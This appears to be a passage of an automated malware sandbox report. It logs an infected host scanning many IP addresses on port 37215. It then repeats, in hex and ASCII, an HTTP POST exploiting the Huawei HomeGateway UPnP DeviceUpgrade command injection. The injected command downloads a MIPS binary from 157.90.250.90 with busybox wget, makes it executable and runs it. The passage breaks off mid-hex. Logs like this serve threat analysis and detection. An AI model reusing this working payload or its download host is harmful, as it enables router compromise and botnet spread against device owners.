Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.49.189.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.249.223.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.100.98.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.185.144.121:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.107.168.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.62.33.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.187.134.125:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.7.161.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.167.71.146:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.101.95.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.69.67.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.107.202.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.226.231.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.62.111.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.166.104.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.96.34.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.202.108.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.62.131.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.222.74.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.191.201.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.251.162.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.154.136.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.58.35.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.105.147.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.244.37.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.31.92.166:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.247.9.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.188.150.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.155.148.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.198.14.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.225.147.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.99.210.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.13.65.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.41.126.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.199.54.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.171.6.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.185.52.71:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.180.20.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.201.93.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.50.46.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.138.242.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.2.187.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.89.197.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.150.49.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.205.7.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.13.119.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.209.127.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.119.194.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.56.35.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.220.52.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.105.163.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.4.155.99:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.73.52.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.86.93.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.243.21.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.184.16.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.242.49.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.16.251.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.82.219.49:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.70.48.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.48.39.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.91.252.234:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.137.90.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.38.137.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.219.85.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.229.199.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.73.109.232:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.46.188.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.215.168.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.232.74.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.76.242.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.56.224.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.142.121.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.207.186.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.54.38.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.144.217.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.42.90.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.95.33.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.150.103.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.147.104.255:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.44.118.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.31.9.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.39.59.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.166.170.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.160.149.80:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.110.175.24:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.156.176.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.176.200.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.94.107.248:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 